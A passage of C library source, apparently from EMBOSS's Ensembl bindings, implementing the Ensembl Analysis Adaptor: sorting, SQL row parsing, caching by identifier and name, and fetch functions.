%p\\n\",\n                analysis1,\n                analysis2);\n#endif /* defined(AJ_DEBUG) && AJ_DEBUG >= 2 */\n\n    /* Sort empty values towards the end of the AJAX List. */\n\n    if (analysis1 && (!analysis2))\n        return -1;\n\n    if ((!analysis1) && (!analysis2))\n        return 0;\n\n    if ((!analysis1) && analysis2)\n        return +1;\n\n    return -1 * ajStrCmpS(analysis1->Name, analysis2->Name);\n}\n\n\n\n\n/* @section list **************************************************************\n**\n** Functions for manipulating AJAX List objects.\n**\n** @fdata [AjPList]\n**\n** @nam3rule Analysis Functions for manipulating AJAX List objects of\n** Ensembl Analysis objects\n** @nam4rule Sort Sort functions\n** @nam5rule Identifier Sort by Ensembl Analysis identifier member\n** @nam5rule Name Sort by Ensembl Analysis name member\n** @nam6rule Ascending  Sort in ascending order\n** @nam6rule Descending Sort in descending order\n**\n** @argrule Sort analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @valrule * [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @fcategory misc\n******************************************************************************/\n\n\n\n\n/* @func ensListAnalysisSortIdentifierAscending *******************************\n**\n** Sort an AJAX List of Ensembl Analysis objects by their\n** Ensembl Analysis identifier in ascending order.\n**\n** @param [u] analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjBool ensListAnalysisSortIdentifierAscending(AjPList analyses)\n{\n    if (!analyses)\n        return ajFalse;\n\n    ajListSort(analyses, &listAnalysisCompareIdentifierAscending);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensListAnalysisSortIdentifierDescending ******************************\n**\n** Sort an AJAX List of Ensembl Analysis objects by their\n** Ensembl Analysis identifier in descending order.\n**\n** @param [u] analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjBool ensListAnalysisSortIdentifierDescending(AjPList analyses)\n{\n    if (!analyses)\n        return ajFalse;\n\n    ajListSort(analyses, &listAnalysisCompareIdentifierDescending);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensListAnalysisSortNameAscending *************************************\n**\n** Sort an AJAX List of Ensembl Analysis objects by their\n** Ensembl Analysis name in ascending order.\n**\n** @param [u] analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjBool ensListAnalysisSortNameAscending(AjPList analyses)\n{\n    if (!analyses)\n        return ajFalse;\n\n    ajListSort(analyses, &listAnalysisCompareNameAscending);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensListAnalysisSortNameDescending ************************************\n**\n** Sort an AJAX List of Ensembl Analysis objects by their\n** Ensembl Analysis name in descending order.\n**\n** @param [u] analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjBool ensListAnalysisSortNameDescending(AjPList analyses)\n{\n    if (!analyses)\n        return ajFalse;\n\n    ajListSort(analyses, &listAnalysisCompareNameDescending);\n\n    return ajTrue;\n}\n\n\n\n\n/* @datasection [EnsPAnalysisadaptor] Ensembl Analysis Adaptor ****************\n**\n** @nam2rule Analysisadaptor Functions for manipulating\n** Ensembl Analysis Adaptor objects\n**\n** @cc Bio::EnsEMBL::DBSQL::AnalysisAdaptor\n** @cc CVS Revision: 1.76\n** @cc CVS Tag: branch-ensembl-68\n**\n******************************************************************************/\n\n\n\n\n/* @funcstatic analysisadaptorFetchAllbyStatement *****************************\n**\n** Run a SQL statement against an Ensembl Database Adaptor and consolidate the\n** results into an AJAX List of Ensembl Analysis objects.\n**\n** @cc Bio::EnsEMBL::DBSQL::AnalysisAdaptor::_objFromHashref\n** @param [u] ba [EnsPBaseadaptor] Ensembl Base Adaptor\n** @param [r] statement [const AjPStr] SQL statement\n** @param [uN] am [EnsPAssemblymapper] Ensembl Assembly Mapper\n** @param [uN] slice [EnsPSlice] Ensembl Slice\n** @param [u] analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nstatic AjBool analysisadaptorFetchAllbyStatement(\n    EnsPBaseadaptor ba,\n    const AjPStr statement,\n    EnsPAssemblymapper am,\n    EnsPSlice slice,\n    AjPList analyses)\n{\n    ajuint identifier = 0U;\n\n    AjBool displayable = AJFALSE;\n\n    AjPSqlstatement sqls = NULL;\n    AjISqlrow sqli       = NULL;\n    AjPSqlrow sqlr       = NULL;\n\n    AjPStr cdate           = NULL;\n    AjPStr name            = NULL;\n    AjPStr databasename    = NULL;\n    AjPStr databaseversion = NULL;\n    AjPStr databasefile    = NULL;\n    AjPStr programname     = NULL;\n    AjPStr programversion  = NULL;\n    AjPStr programfile     = NULL;\n    AjPStr parameters      = NULL;\n    AjPStr modulename      = NULL;\n    AjPStr moduleversion   = NULL;\n    AjPStr gffsource       = NULL;\n    AjPStr gfffeature      = NULL;\n    AjPStr description     = NULL;\n    AjPStr displaylabel    = NULL;\n    AjPStr webdata         = NULL;\n\n    EnsPAnalysis analysis  = NULL;\n    EnsPAnalysisadaptor aa = NULL;\n\n    EnsPDatabaseadaptor dba = NULL;\n\n    if (ajDebugTest(\"analysisadaptorFetchAllbyStatement\"))\n        ajDebug(\"analysisadaptorFetchAllbyStatement\\n\"\n                \"  ba %p\\n\"\n                \"  statement %p\\n\"\n                \"  am %p\\n\"\n                \"  slice %p\\n\"\n                \"  analyses %p\\n\",\n                ba,\n                statement,\n                am,\n                slice,\n                analyses);\n\n    if (!ba)\n        return ajFalse;\n\n    if (!statement)\n        return ajFalse;\n\n    if (!analyses)\n        return ajFalse;\n\n    dba = ensBaseadaptorGetDatabaseadaptor(ba);\n\n    aa = ensRegistryGetAnalysisadaptor(dba);\n\n    sqls = ensDatabaseadaptorSqlstatementNew(dba, statement);\n\n    sqli = ajSqlrowiterNew(sqls);\n\n    while (!ajSqlrowiterDone(sqli))\n    {\n        identifier      = 0;\n        cdate           = ajStrNew();\n        name            = ajStrNew();\n        databasename    = ajStrNew();\n        databaseversion = ajStrNew();\n        databasefile    = ajStrNew();\n        programname     = ajStrNew();\n        programversion  = ajStrNew();\n        programfile     = ajStrNew();\n        parameters      = ajStrNew();\n        modulename      = ajStrNew();\n        moduleversion   = ajStrNew();\n        gffsource       = ajStrNew();\n        gfffeature      = ajStrNew();\n        description     = ajStrNew();\n        displaylabel    = ajStrNew();\n        displayable     = ajFalse;\n        webdata         = ajStrNew();\n\n        sqlr = ajSqlrowiterGet(sqli);\n\n        ajSqlcolumnToUint(sqlr, &identifier);\n        ajSqlcolumnToStr(sqlr, &cdate);\n        ajSqlcolumnToStr(sqlr, &name);\n        ajSqlcolumnToStr(sqlr, &databasename);\n        ajSqlcolumnToStr(sqlr, &databaseversion);\n        ajSqlcolumnToStr(sqlr, &databasefile);\n        ajSqlcolumnToStr(sqlr, &programname);\n        ajSqlcolumnToStr(sqlr, &programversion);\n        ajSqlcolumnToStr(sqlr, &programfile);\n        ajSqlcolumnToStr(sqlr, &parameters);\n        ajSqlcolumnToStr(sqlr, &modulename);\n        ajSqlcolumnToStr(sqlr, &moduleversion);\n        ajSqlcolumnToStr(sqlr, &gffsource);\n        ajSqlcolumnToStr(sqlr, &gfffeature);\n        ajSqlcolumnToStr(sqlr, &description);\n        ajSqlcolumnToStr(sqlr, &displaylabel);\n        ajSqlcolumnToBool(sqlr, &displayable);\n        ajSqlcolumnToStr(sqlr, &webdata);\n\n        analysis = ensAnalysisNewIni(aa,\n                                     identifier,\n                                     cdate,\n                                     name,\n                                     databasename,\n                                     databaseversion,\n                                     databasefile,\n                                     programname,\n                                     programversion,\n                                     programfile,\n                                     parameters,\n                                     modulename,\n                                     moduleversion,\n                                     gffsource,\n                                     gfffeature,\n                                     description,\n                                     displaylabel,\n                                     webdata,\n                                     displayable);\n\n        ajListPushAppend(analyses, (void *) analysis);\n\n        ajStrDel(&cdate);\n        ajStrDel(&name);\n        ajStrDel(&databasename);\n        ajStrDel(&databaseversion);\n        ajStrDel(&databasefile);\n        ajStrDel(&programname);\n        ajStrDel(&programversion);\n        ajStrDel(&programfile);\n        ajStrDel(&parameters);\n        ajStrDel(&modulename);\n        ajStrDel(&moduleversion);\n        ajStrDel(&gffsource);\n        ajStrDel(&gfffeature);\n        ajStrDel(&description);\n        ajStrDel(&displaylabel);\n        ajStrDel(&webdata);\n    }\n\n    ajSqlrowiterDel(&sqli);\n\n    ensDatabaseadaptorSqlstatementDel(dba, &sqls);\n\n    return ajTrue;\n}\n\n\n\n\n/* @section constructors ******************************************************\n**\n** All constructors return a new Ensembl Analysis Adaptor by pointer.\n** It is the responsibility of the user to first destroy any previous\n** Ensembl Analysis Adaptor.\n** The target pointer does not need to be initialised to NULL, but it is good\n** programming practice to do so anyway.\n**\n** @fdata [EnsPAnalysisadaptor]\n**\n** @nam3rule New Constructor\n**\n** @argrule New dba [EnsPDatabaseadaptor] Ensembl Database Adaptor\n**\n** @valrule * [EnsPAnalysisadaptor] Ensembl Analysis Adaptor or NULL\n**\n** @fcategory new\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisadaptorNew ************************************************\n**\n** Default constructor for an Ensembl Analysis Adaptor.\n**\n** Ensembl Object Adaptors are singleton objects in the sense that a single\n** instance of an Ensembl Object Adaptor connected to a particular database is\n** sufficient to instantiate any number of Ensembl Objects from the database.\n** Each Ensembl Object will have a weak reference to the Object Adaptor that\n** instantiated it. Therefore, Ensembl Object Adaptors should not be\n** instantiated directly, but rather obtained from the Ensembl Registry,\n** which will in turn call this function if neccessary.\n**\n** @see ensRegistryGetDatabaseadaptor\n** @see ensRegistryGetAnalysisadaptor\n**\n** @cc Bio::EnsEMBL::DBSQL::AnalysisAdaptor::new\n** @param [u] dba [EnsPDatabaseadaptor] Ensembl Database Adaptor\n**\n** @return [EnsPAnalysisadaptor] Ensembl Analysis Adaptor or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nEnsPAnalysisadaptor ensAnalysisadaptorNew(\n    EnsPDatabaseadaptor dba)\n{\n    EnsPAnalysisadaptor aa = NULL;\n\n    if (!dba)\n        return NULL;\n\n    if (ajDebugTest(\"ensAnalysisadaptorNew\"))\n        ajDebug(\"ensAnalysisadaptorNew\\n\"\n                \"  dba %p\\n\",\n                dba);\n\n    AJNEW0(aa);\n\n    aa->Adaptor = ensBaseadaptorNew(\n        dba,\n        analysisadaptorKTablenames,\n        analysisadaptorKColumnnames,\n        analysisadaptorKLeftjoins,\n        (const char *) NULL,\n        (const char *) NULL,\n        &analysisadaptorFetchAllbyStatement);\n\n    /*\n    ** NOTE: The cache cannot be initialised here because the\n    ** analysisadaptorCacheInit function calls\n    ** ensBaseadaptorFetchAllbyConstraint,\n    ** which calls analysisadaptorFetchAllbyStatement, which calls\n    ** ensRegistryGetAnalysisadaptor. At that point, however,\n    ** the Ensembl Analysis Adaptor has not been stored in the Registry.\n    ** Therefore, each ensAnalysisadaptorFetch function has to test the\n    ** presence of the adaptor-internal cache and eventually initialise\n    ** before accessing it.\n    **\n    ** analysisadaptorCacheInit(aa);\n    */\n\n    return aa;\n}\n\n\n\n\n/* @section cache *************************************************************\n**\n** Functions for maintaining the Ensembl Analysis Adaptor-internal cache of\n** Ensembl Analysis objects.\n**\n** @fdata [EnsPAnalysisadaptor]\n**\n** @nam3rule Cache Process an Ensembl Analysis Adaptor-internal cache\n** @nam4rule Clear Clear the Ensembl Analysis Adaptor-internal cache\n**\n** @argrule * aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n**\n** @valrule * [AjBool] True on success, ajFalse otherwise\n**\n** @fcategory use\n******************************************************************************/\n\n\n\n\n/* @funcstatic analysisadaptorCacheInit ***************************************\n**\n** Initialise the internal Ensembl Analysis cache of an\n** Ensembl Analysis Adaptor.\n**\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nstatic AjBool analysisadaptorCacheInit(\n    EnsPAnalysisadaptor aa)\n{\n    AjBool result = AJFALSE;\n\n    AjPList analyses = NULL;\n\n    EnsPAnalysis analysis = NULL;\n\n    if (ajDebugTest(\"analysisadaptorCacheInit\"))\n        ajDebug(\"analysisadaptorCacheInit\\n\"\n                \"  aa %p\\n\",\n                aa);\n\n    if (!aa)\n        return ajFalse;\n\n    if (aa->CacheByIdentifier)\n        return ajFalse;\n    else\n    {\n        aa->CacheByIdentifier = ajTableuintNew(0);\n\n        ajTableSetDestroyvalue(\n            aa->CacheByIdentifier,\n            (void (*)(void **)) &ensAnalysisDel);\n    }\n\n    if (aa->CacheByName)\n        return ajFalse;\n    else\n    {\n        aa->CacheByName = ajTablestrNew(0U);\n\n        ajTableSetDestroyvalue(\n            aa->CacheByName,\n            (void (*)(void **)) &ensAnalysisDel);\n    }\n\n    analyses = ajListNew();\n\n    result = ensBaseadaptorFetchAllbyConstraint(\n        ensAnalysisadaptorGetBaseadaptor(aa),\n        (const AjPStr) NULL,\n        (EnsPAssemblymapper) NULL,\n        (EnsPSlice) NULL,\n        analyses);\n\n    while (ajListPop(analyses, (void **) &analysis))\n    {\n        analysisadaptorCacheInsert(aa, &analysis);\n\n        /*\n        ** Both caches hold internal references to the\n        ** Ensembl Analysis objects.\n        */\n\n        ensAnalysisDel(&analysis);\n    }\n\n    ajListFree(&analyses);\n\n    return result;\n}\n\n\n\n\n/* @funcstatic analysisadaptorCacheInsert *************************************\n**\n** Insert an Ensembl Analysis into the Ensembl Analysis Adaptor-internal cache.\n** If an Ensembl Analysis with the same name member is already present in the\n** Ensembl Analysis Adaptor-internal cache, the Ensembl Analysis is deleted and\n** a pointer to the cached Ensembl Analysis is returned.\n**\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @param [u] Panalysis [EnsPAnalysis*] Ensembl Analysis address\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nstatic AjBool analysisadaptorCacheInsert(\n    EnsPAnalysisadaptor aa,\n    EnsPAnalysis *Panalysis)\n{\n    ajuint *Pidentifier = NULL;\n\n    EnsPAnalysis analysis1 = NULL;\n    EnsPAnalysis analysis2 = NULL;\n\n    if (!aa)\n        return ajFalse;\n\n    if (!aa->CacheByIdentifier)\n        return ajFalse;\n\n    if (!aa->CacheByName)\n        return ajFalse;\n\n    if (!Panalysis)\n        return ajFalse;\n\n    if (!*Panalysis)\n        return ajFalse;\n\n    /* Search the identifer cache. */\n\n    analysis1 = (EnsPAnalysis) ajTableFetchmodV(\n        aa->CacheByIdentifier,\n        (const void *) &((*Panalysis)->Identifier));\n\n    /* Search the name cache. */\n\n    analysis2 = (EnsPAnalysis) ajTableFetchmodS(\n        aa->CacheByName,\n        (*Panalysis)->Name);\n\n    if ((!analysis1) && (!analysis2))\n    {\n        /* Insert into the identifier cache. */\n\n        AJNEW0(Pidentifier);\n\n        *Pidentifier = (*Panalysis)->Identifier;\n\n        ajTablePut(aa->CacheByIdentifier,\n                   (void *) Pidentifier,\n                   (void *) ensAnalysisNewRef(*Panalysis));\n\n        /* Insert into the name cache. */\n\n        ajTablePut(aa->CacheByName,\n                   (void *) ajStrNewS((*Panalysis)->Name),\n                   (void *) ensAnalysisNewRef(*Panalysis));\n    }\n\n    if (analysis1 && analysis2 && (analysis1 == analysis2))\n    {\n        ajDebug(\"analysisadaptorCacheInsert replaced Ensembl Analysis %p \"\n                \"with one already cached %p.\\n\",\n                *Panalysis, analysis1);\n\n        ensAnalysisDel(Panalysis);\n\n        ensAnalysisNewRef(analysis1);\n\n        Panalysis = &analysis1;\n    }\n\n    if (analysis1 && analysis2 && (analysis1 != analysis2))\n        ajDebug(\"analysisadaptorCacheInsert detected Ensembl Analysis objects \"\n                \"in the identifier and name cache with identical names \"\n                \"('%S' and '%S') but different addresses (%p and %p).\\n\",\n                analysis1->Name, analysis2->Name, analysis1, analysis2);\n\n    if (analysis1 && (!analysis2))\n        ajDebug(\"analysisadaptorCacheInsert detected an Ensembl Analysis \"\n                \"in the identifier, but not in the name cache.\\n\");\n\n    if ((!analysis1) && analysis2)\n        ajDebug(\"analysisadaptorCacheInsert detected an Ensembl Analysis \"\n                \"in the name, but not in the identifier cache.\\n\");\n\n    return ajTrue;\n}\n\n\n\n\n#if AJFALSE\n/* @funcstatic analysisadaptorCacheRemove *************************************\n**\n** Remove an Ensembl Analysis from the Ensembl Analysis Adaptor-internal cache.\n**\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nstatic AjBool analysisadaptorCacheRemove(\n    EnsPAnalysisadaptor aa,\n    EnsPAnalysis analysis)\n{\n    EnsPAnalysis analysis1 = NULL;\n    EnsPAnalysis analysis2 = NULL;\n\n    if (!aa)\n        return ajFalse;\n\n    if (!analysis)\n        return ajFalse;\n\n    analysis1 = (EnsPAnalysis) ajTableRemove(\n        aa->CacheByIdentifier,\n        (const void *) &analysis->Identifier);\n\n    analysis2 = (EnsPAnalysis) ajTableRemove(\n        aa->CacheByName,\n        (const void *) analysis->Name);\n\n    if (analysis1 && (!analysis2))\n        ajWarn(\"analysisadaptorCacheRemove could remove Ensembl Analysis with \"\n               \"identifier %u and name '%S' only from the identifier cache.\\n\",\n               analysis->Identifier,\n               analysis->Name);\n\n    if ((!analysis1) && analysis2)\n        ajWarn(\"analysisadaptorCacheRemove could remove Ensembl Analysis with \"\n               \"identifier %u and name '%S' only from the name cache.\\n\",\n               analysis->Identifier,\n               analysis->Name);\n\n    ensAnalysisDel(&analysis1);\n    ensAnalysisDel(&analysis2);\n\n    return ajTrue;\n}\n\n#endif /* AJFALSE */\n\n\n\n\n/* @func ensAnalysisadaptorCacheClear *****************************************\n**\n** Clear the Ensembl Analysis Adaptor-internal cache of\n** Ensembl Analysis objects.\n**\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisadaptorCacheClear(\n    EnsPAnalysisadaptor aa)\n{\n    if (!aa)\n        return ajFalse;\n\n    ajTableDel(&aa->CacheByIdentifier);\n    ajTableDel(&aa->CacheByName);\n\n    return ajTrue;\n}\n\n\n\n\n/* @section destructors *******************************************************\n**\n** Destruction destroys all internal data structures and frees the memory\n** allocated for an Ensembl Analysis Adaptor object.\n**\n** @fdata [EnsPAnalysisadaptor]\n**\n** @nam3rule Del Destroy (free) an Ensembl Analysis Adaptor\n**\n** @argrule * Paa [EnsPAnalysisadaptor*] Ensembl Analysis Adaptor address\n**\n** @valrule * [void]\n**\n** @fcategory delete\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisadaptorDel ************************************************\n**\n** Default destructor for an Ensembl Analysis Adaptor.\n**\n** This function also clears the internal caches.\n**\n** Ensembl Object Adaptors are singleton objects that are registered in the\n** Ensembl Registry and weakly referenced by Ensembl Objects that have been\n** instantiated by it. Therefore, Ensembl Object Adaptors should never be\n** destroyed directly. Upon exit, the Ensembl Registry will call this function\n** if required.\n**\n** @param [d] Paa [EnsPAnalysisadaptor*] Ensembl Analysis Adaptor address\n**\n** @return [void]\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nvoid ensAnalysisadaptorDel(\n    EnsPAnalysisadaptor *Paa)\n{\n    EnsPAnalysisadaptor pthis = NULL;\n\n    if (!Paa)\n        return;\n\n#if defined(AJ_DEBUG) && AJ_DEBUG >= 1\n    if (ajDebugTest(\"ensAnalysisadaptorDel\"))\n        ajDebug(\"ensAnalysisadaptorDel\\n\"\n                \"  *Paa %p\\n\",\n                *Paa);\n#endif /* defined(AJ_DEBUG) && AJ_DEBUG >= 1 */\n\n    if (!(pthis = *Paa))\n        return;\n\n    ensAnalysisadaptorCacheClear(pthis);\n\n    ensBaseadaptorDel(&pthis->Adaptor);\n\n    ajMemFree((void **) Paa);\n\n    return;\n}\n\n\n\n\n/* @section member retrieval **************************************************\n**\n** Functions for returning members of an Ensembl Analysis Adaptor object.\n**\n** @fdata [EnsPAnalysisadaptor]\n**\n** @nam3rule Get Return Ensembl Analysis Adaptor attribute(s)\n** @nam4rule Baseadaptor Return the Ensembl Base Adaptor\n** @nam4rule Databaseadaptor Return the Ensembl Database Adaptor\n**\n** @argrule * aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n**\n** @valrule Baseadaptor [EnsPBaseadaptor] Ensembl Base Adaptor or NULL\n** @valrule Databaseadaptor [EnsPDatabaseadaptor] Ensembl Database Adaptor\n** or NULL\n**\n** @fcategory use\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisadaptorGetBaseadaptor *************************************\n**\n** Get the Ensembl Base Adaptor member of an Ensembl Analysis Adaptor.\n**\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n**\n** @return [EnsPBaseadaptor] Ensembl Base Adaptor or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nEnsPBaseadaptor ensAnalysisadaptorGetBaseadaptor(\n    EnsPAnalysisadaptor aa)\n{\n    return (aa) ? aa->Adaptor : NULL;\n}\n\n\n\n\n/* @func ensAnalysisadaptorGetDatabaseadaptor *********************************\n**\n** Get the Ensembl Database Adaptor member of an Ensembl Analysis Adaptor.\n**\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n**\n** @return [EnsPDatabaseadaptor] Ensembl Database Adaptor or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nEnsPDatabaseadaptor ensAnalysisadaptorGetDatabaseadaptor(\n    EnsPAnalysisadaptor aa)\n{\n    return ensBaseadaptorGetDatabaseadaptor(\n        ensAnalysisadaptorGetBaseadaptor(aa));\n}\n\n\n\n\n/* @section object retrieval **************************************************\n**\n** Functions for fetching Ensembl Analysis objects from an\n** Ensembl SQL database.\n**\n** @fdata [EnsPAnalysisadaptor]\n**\n** @nam3rule Fetch Fetch Ensembl Analysis object(s)\n** @nam4rule All Fetch all Ensembl Analysis objects\n** @nam4rule Allby Fetch all Ensembl Analysis objects matching a criterion\n** @nam5rule Featureclass Fetch all by Feature class\n** @nam4rule By Fetch one Ensembl Analysis object matching a criterion\n** @nam5rule Identifier Fetch by an SQL database internal identifier\n** @nam5rule Name Fetch by a name\n**\n** @argrule * aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @argrule All analyses [AjPList] AJAX List of Ensembl Analysis objects\n** @argrule AllbyFeatureclass class [const AjPStr] Ensembl Feature class\n** @argrule AllbyFeatureclass analyses [AjPList]\n** AJAX List of Ensembl Analysis objects\n** @argrule ByIdentifier identifier [ajuint] SQL database-internal identifier\n** @argrule ByIdentifier Panalysis [EnsPAnalysis*] Ensembl Analysis address\n** @argrule ByName name [const AjPStr] Ensembl Analysis name\n** @argrule ByName Panalysis [EnsPAnalysis*] Ensembl Analysis address\n**\n** @valrule * [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @fcategory use\n******************************************************************************/\n\n\n\n\n/* @funcstatic analysisadaptorFetchAll ****************************************\n**\n** An ajTableMap \"apply\" function to return all Ensembl Analysis objects from\n** the Ensembl Analysis Adaptor-internal cache.\n**\n** @param [u] key [const void*] AJAX unsigned integer key data address\n** @param [u] Pvalue [void**] Ensembl Analysis value data address\n** @param [u] cl [void*]\n** AJAX List of Ensembl Analysis objects, passed in via ajTableMap\n** @see ajTableMap\n**\n** @return [void]\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nstatic void analysisadaptorFetchAll(const void *key,\n                                    void **Pvalue,\n                                    void *cl)\n{\n    if (!key)\n        return;\n\n    if (!Pvalue)\n        return;\n\n    if (!*Pvalue)\n        return;\n\n    if (!cl)\n        return;\n\n    ajListPushAppend((AjPList) cl,\n                     (void *) ensAnalysisNewRef(*((EnsPAnalysis *) Pvalue)));\n\n    return;\n}\n\n\n\n\n/* @func ensAnalysisadaptorFetchAll *******************************************\n**\n** Fetch all Ensembl Analysis objects.\n**\n** The caller is responsible for deleting the Ensembl Analysis objects before\n** deleting the AJAX List object.\n**\n** @cc Bio::EnsEMBL::DBSQL::AnalysisAdaptor::fetch_all\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @param [u] analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisadaptorFetchAll(\n    EnsPAnalysisadaptor aa,\n    AjPList analyses)\n{\n    if (!aa)\n        return ajFalse;\n\n    if (!analyses)\n        return ajFalse;\n\n    if (!aa->CacheByIdentifier)\n        analysisadaptorCacheInit(aa);\n\n    ajTableMap(aa->CacheByIdentifier,\n               &analysisadaptorFetchAll,\n               (void *) analyses);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisadaptorFetchAllbyFeatureclass *****************************\n**\n** Fetch all Ensembl Analysis objects referenced by an Ensembl Feature class.\n**\n** Please see the analysisadaptorFeatureClasses array for a list of valid\n** Feature classes that reference Ensembl Analysis objects.\n**\n** The caller is responsible for deleting the Ensembl Analysis objects before\n** deleting the AJAX List.\n**\n** @cc Bio::EnsEMBL::DBSQL::AnalysisAdaptor::fetch_all_by_feature_class\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @param [r] class [const AjPStr] Ensembl Feature class\n** @param [u] analyses [AjPList] AJAX List of Ensembl Analysis objects\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisadaptorFetchAllbyFeatureclass(\n    EnsPAnalysisadaptor aa,\n    const AjPStr class,\n    AjPList analyses)\n{\n    register ajuint i = 0U;\n    ajuint identifier = 0U;\n    ajuint match      = 0U;\n\n    AjPSqlstatement sqls = NULL;\n    AjISqlrow sqli       = NULL;\n    AjPSqlrow sqlr       = NULL;\n\n    AjPStr statement = NULL;\n\n    EnsPAnalysis analysis = NULL;\n\n    EnsPDatabaseadaptor dba = NULL;\n\n    if (!aa)\n        return ajFalse;\n\n    if (!(class && ajStrGetLen(class)))\n        return ajFalse;\n\n    if (!analyses)\n        return ajFalse;\n\n    for (i = 0U; analysisadaptorKFeatureClasses[i]; i += 2U)\n        if (ajStrMatchC(class, analysisadaptorKFeatureClasses[i]))\n            match = i + 1U;\n\n    if (match)\n    {\n        dba = ensAnalysisadaptorGetDatabaseadaptor(aa);\n\n        statement = ajFmtStr(\n            \"SELECT DISTINCT %s.analysis_id FROM %s\",\n            analysisadaptorKFeatureClasses[match],\n            analysisadaptorKFeatureClasses[match]);\n\n        sqls = ensDatabaseadaptorSqlstatementNew(dba, statement);\n\n        sqli = ajSqlrowiterNew(sqls);\n\n        while (!ajSqlrowiterDone(sqli))\n        {\n            identifier = 0;\n\n            sqlr = ajSqlrowiterGet(sqli);\n\n            ajSqlcolumnToUint(sqlr, &identifier);\n\n            ensAnalysisadaptorFetchByIdentifier(aa, identifier, &analysis);\n\n            if (analysis)\n                ajListPushAppend(analyses, (void *) analysis);\n            else\n                ajWarn(\"ensAnalysisadaptorFetchAllbyFeatureclass found \"\n                       \"Ensembl Analysis identifier %u in the '%s' table, \"\n                       \"which is not referenced in the 'analysis' table.\\n\",\n                       identifier,\n                       analysisadaptorKFeatureClasses[match]);\n        }\n\n        ajSqlrowiterDel(&sqli);\n\n        ensDatabaseadaptorSqlstatementDel(dba, &sqls);\n\n        ajStrDel(&statement);\n    }\n    else\n    {\n        ajDebug(\"ensAnalysisadaptorFetchAllbyFeatureclass got invalid \"\n                \"Feature class '%S'\\n\",\n                class);\n\n        return ajFalse;\n    }\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisadaptorFetchByIdentifier **********************************\n**\n** Fetch an Ensembl Analysis by its SQL database-internal identifier.\n** The caller is responsible for deleting the Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::DBSQL::AnalysisAdaptor::fetch_by_dbID\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @param [r] identifier [ajuint] SQL database-internal identifier\n** @param [wP] Panalysis [EnsPAnalysis*] Ensembl Analysis address\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisadaptorFetchByIdentifier(\n    EnsPAnalysisadaptor aa,\n    ajuint identifier,\n    EnsPAnalysis *Panalysis)\n{\n    AjBool result = AJFALSE;\n\n    if (!aa)\n        return ajFalse;\n\n    if (!identifier)\n        return ajFalse;\n\n    if (!Panalysis)\n        return ajFalse;\n\n    /*\n    ** Initially, search the identifier cache.\n    ** For any object returned by the AJAX Table the reference counter needs\n    ** to be incremented manually.\n    */\n\n    if (!aa->CacheByIdentifier)\n        analysisadaptorCacheInit(aa);\n\n    *Panalysis = (EnsPAnalysis) ajTableFetchmodV(aa->CacheByIdentifier,\n                                                 (const void *) &identifier);\n\n    if (*Panalysis)\n    {\n        ensAnalysisNewRef(*Panalysis);\n\n        return ajTrue;\n    }\n\n    /* For a cache miss 